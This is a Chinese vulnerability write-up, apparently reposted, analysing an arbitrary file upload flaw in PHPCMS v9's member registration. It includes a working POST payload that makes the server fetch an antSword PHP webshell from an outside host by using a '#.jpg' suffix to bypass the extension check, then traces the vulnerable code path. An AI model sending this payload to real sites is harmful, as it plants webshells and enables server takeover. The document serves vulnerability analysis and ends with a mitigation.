PHPCMS最新版任意文件上传漏洞分析
工具:火狐插件hackbar
前幾天就聽朋友說PHPCMS最新版出了幾個洞,有注入還有任意文件上傳,注入我倒不是很驚訝,因為phpcms只要拿到了authkey注入就一大堆……
任意文件上傳倒是很驚訝,但是小伙伴并沒有給我exp,今天看到了EXP,但是沒有詳細分析,那我就自己分析一下好啦。
首先去官網下一下最新版的程序,搭建起來。
為了方便各位小伙伴復現,這里附上最新版的下載地址:
鏈接: https://pan.baidu.com/s/1geNQfyb 密碼: gxsd漏洞復現
漏洞復現的辦法是先打開注冊頁面,然后向注冊頁面POST如下payload:
siteid=1&modelid=11&username=123456&password=123456&email=123456@qq.com&info[content]=<img src=http://files.hackersb.cn/webshell/antSword-shells/php_assert.php#.jpg>&dosubmit=1&protocol=然后就會報錯并返回shell地址:
然后就可以連接啦。
漏洞分析
通過復現過程可以看到漏洞URL為:
http://phpcms.localhost/index.php?m=member&c=index&a=register&siteid=1可以確定是member模塊的問題,以前我分析過phpcms的程序,所以就不從index.php看了,我們直接去打開member模塊的控制器文件如下:
/Users/striker/www/phpcmsv9/phpcms/modules/member/index.php方法應該是register,我們定位到這里的函數:
首先是獲取了一個$siteid然后加載了一些配置,再判斷是否存在$_POST['dosubmit'],如果存在則進入到注冊流程。
通過跟進發現跟我們漏洞有關的代碼應該是從129行開始:
//附表信息驗證 通過模型獲取會員信息 if($member_setting['choosemodel']) {require_once CACHE_MODEL_PATH.'member_input.class.php';require_once CACHE_MODEL_PATH.'member_update.class.php';$member_input = new member_input($userinfo['modelid']); $_POST['info'] = array_map('new_html_special_chars',$_POST['info']);$user_model_info = $member_input->get($_POST['info']); }其中第134行從POST請求中傳入了我們EXP的關鍵參數$_POST['info']:
_POST['info'] = array_map('new_html_special_chars',$_POST['info']);但使用new_html_special_chars函數過濾了一遍,我們來跟進下這個函數都干了些什么事情。
function new_html_special_chars($string) {$encoding = 'utf-8';if(strtolower(CHARSET)=='gbk') $encoding = 'ISO-8859-15';if(!is_array($string)) return htmlspecialchars($string,ENT_QUOTES,$encoding);foreach($string as $key => $val) $string[$key] = new_html_special_chars($val);return $string; }好吧,只是用了htmlspecialchars函數來轉義HTML特殊字符,影響不是特別大,繼續往下跟,135行調用$member_input->get()方法進行了處理:
$user_model_info = $member_input->get($_POST['info']);get方法不是很長,這里把代碼貼出來:
function get($data) {$this->data = $data = trim_script($data);$model_cache = getcache('member_model', 'commons');$this->db->table_name = $this->db_pre.$model_cache[$this->modelid]['tablename'];$info = array();$debar_filed = array('catid','title','style','thumb','status','islink','description');if(is_array($data)) {foreach($data as $field=>$value) {if($data['islink']==1 && !in_array($field,$debar_filed)) continue;$field = safe_replace($field);$name = $this->fields[$field]['name'];$minlength = $this->fields[$field]['minlength'];$maxlength = $this->fields[$field]['maxlength'];$pattern = $this->fields[$field]['pattern'];$errortips = $this->fields[$field]['errortips'];if(empty($errortips)) $errortips = "$name 不符合要求!";$length = empty($value) ? 0 : strlen($value);if($minlength && $length < $minlength && !$isimport) showmessage("$name 不得少于 $minlength 個字符!");if (!array_key_exists($field, $this->fields)) showmessage('模型中不存在'.$field.'字段');if($maxlength && $length > $maxlength && !$isimport) {showmessage("$name 不得超過 $maxlength 個字符!");} else {str_cut($value, $maxlength);}if($pattern && $length && !preg_match($pattern, $value) && !$isimport) showmessage($errortips);if($this->fields[$field]['isunique'] && $this->db->get_one(array($field=>$value),$field) && ROUTE_A != 'edit') showmessage("$name 的值不得重復!");$func = $this->fields[$field]['formtype'];if(method_exists($this, $func)) $value = $this->$func($field, $value);$info[$field] = $value;}}return $info; }先調用了trim_script方法處理了一下$data,跟進查看:
function trim_script($str) {if(is_array($str)){foreach ($str as $key => $val){$str[$key] = trim_script($val);}}else{$str = preg_replace ( '/\<([\/]?)script([^\>]*?)\>/si', '<\\1script\\2>', $str );$str = preg_replace ( '/\<([\/]?)iframe([^\>]*?)\>/si', '<\\1iframe\\2>', $str );$str = preg_replace ( '/\<([\/]?)frame([^\>]*?)\>/si', '<\\1frame\\2>', $str );$str = str_replace ( 'javascript:', 'javascript:', $str );}return $str; }好吧,只是進行了部分正則替換,看樣子跟我們本次要談的漏洞關系不是特別大,繼續往下看。
get函數中有個關鍵的地方是if(is_array($data))我們payload中的infoj就是個數組,所以能走進這個if條件中,繼續跟。
先是用foreach進行遍歷$info,鍵名為$field,鍵值為$value,首先用safe_replace進行了一次安全替換:
field = safe_replace($field);跟safe_replace函數看看:
/*** 安全過濾函數** @param $string* @return string*/ function safe_replace($string) {$string = str_replace('%20','',$string);$string = str_replace('%27','',$string);$string = str_replace('%2527','',$string);$string = str_replace('*','',$string);$string = str_replace('"','"',$string);$string = str_replace("'",'',$string);$string = str_replace('"','',$string);$string = str_replace(';','',$string);$string = str_replace('<','<',$string);$string = str_replace('>','>',$string);$string = str_replace("{",'',$string);$string = str_replace('}','',$string);$string = str_replace('\\','',$string);return $string; }將部分字符替換為空了,我們繼續往下跟,發現geth方法中這兩行很關鍵,很有可能跟漏洞相關:
$func = $this->fields[$field]['formtype']; if(method_exists($this, $func)) $value = $this->$func($field, $value);先是獲取了一個$func,然后判斷方法如果存在就帶入這個函數,我這里用的debug模式,可以直接看到最終的$func是editor。
然而實際上這個editor是存在數據庫中v9_model_field表中的。
我們繼續跟進editor方法:
function editor($field, $value) {$setting = string2array($this->fields[$field]['setting']);$enablesaveimage = $setting['enablesaveimage'];$site_setting = string2array($this->site_config['setting']);$watermark_enable = intval($site_setting['watermark_enable']);$value = $this->attachment->download('content', $value,$watermark_enable);return $value; }然后這篇文章的高潮部分來了!!!!
看這里:
$value = $this->attachment->download('content', $value,$watermark_enable);把$value,也就是我們的info[content]帶入到了$this->attachment->download函數!繼續跟!!
整段函數如下:
/*** 附件下載* Enter description here ...* @param $field 預留字段* @param $value 傳入下載內容* @param $watermark 是否加入水印* @param $ext 下載擴展名* @param $absurl 絕對路徑* @param $basehref */ function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '') {global $image_d;$this->att_db = pc_base::load_model('attachment_model');$upload_url = pc_base::load_config('system','upload_url');$this->field = $field;$dir = date('Y/md/');$uploadpath = $upload_url.$dir;$uploaddir = $this->upload_root.$dir;$string = new_stripslashes($value);if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;$remotefileurls = array();foreach($matches[3] as $matche){if(strpos($matche, '://') === false) continue;dir_create($uploaddir);$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);}unset($matches, $string);$remotefileurls = array_unique($remotefileurls);$oldpath = $newpath = array();foreach($remotefileurls as $k=>$file) {if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;$filename = fileext($file);$file_name = basename($file);$filename = $this->getname($filename);$newfile = $uploaddir.$filename;$upload_func = $this->upload_func;if($upload_func($file, $newfile)) {$oldpath[] = $k;$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;@chmod($newfile, 0777);$fileext = fileext($filename);if($watermark){watermark($newfile, $newfile,$this->siteid);}$filepath = $dir.$filename;$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);$aid = $this->add($downloadedfile);$this->downloadedfiles[$aid] = $filepath;}}return str_replace($oldpath, $newpath, $value); }先是設置了一些參數,然后把我們的payload帶入了一個new_stripslashes函數:
/*** 返回經stripslashes處理過的字符串或數組* @param $string 需要處理的字符串或數組* @return mixed*/ function new_stripslashes($string) {if(!is_array($string)) return stripslashes($string);foreach($string as $key => $val) $string[$key] = new_stripslashes($val);return $string; }進行了一個stripslashes操作。
這行也是關鍵的一步:
if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;這里匹配了src或href中文件的文件名,不過后綴為$ext,其中$ext的值為:gif|jpg|jpeg|bmp|png
不過匹配的并不嚴格,還是有辦法可以繞過的,如圖:
這一步被繞過,下面應該就是下載文件了吧。。。
隨后在這一行帶入了函數fillurl:
$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);在fillurl中還很貼心的給我們去掉了#后的內容:
$pos = strpos($surl,'#');if($pos>0) $surl = substr($surl,0,$pos);這個時候$remotefileurls的值已然是http://files.hackersb.cn/webshell/antSword-shells/php_assert.php
隨后便進行了萬惡的下載:
$newfile = $uploaddir.$filename; $upload_func = $this->upload_func; if($upload_func($file, $newfile)) {$oldpath[] = $k;$GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;@chmod($newfile, 0777);$fileext = fileext($filename);if($watermark){watermark($newfile, $newfile,$this->siteid);}$filepath = $dir.$filename;$downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);$aid = $this->add($downloadedfile);$this->downloadedfiles[$aid] = $filepath; }其中$upload_func等同于php的copy函數。
然而:
而fopen一般都是可用的,如果開啟了allow_url_fopen,這個漏洞就構成了,然而大部分環境都默認開啟了allow_url_fopen。
最終在插入注冊信息時因為混入了未知的參數而導致插入失敗,報錯就顯示出了這個未知的參數 23333
至此,該漏洞分析完成。
漏洞修復
官方目前仍未發布修復補丁。
臨時修復方案可以考慮禁用uploadfile目錄下的PHP執行權限
總結
以上是生活随笔為你收集整理的PHPCMS最新版任意文件上传漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 支付宝是货币基金吗 一款余额理财产品
- 下一篇: yii2 gradview 输出当前时间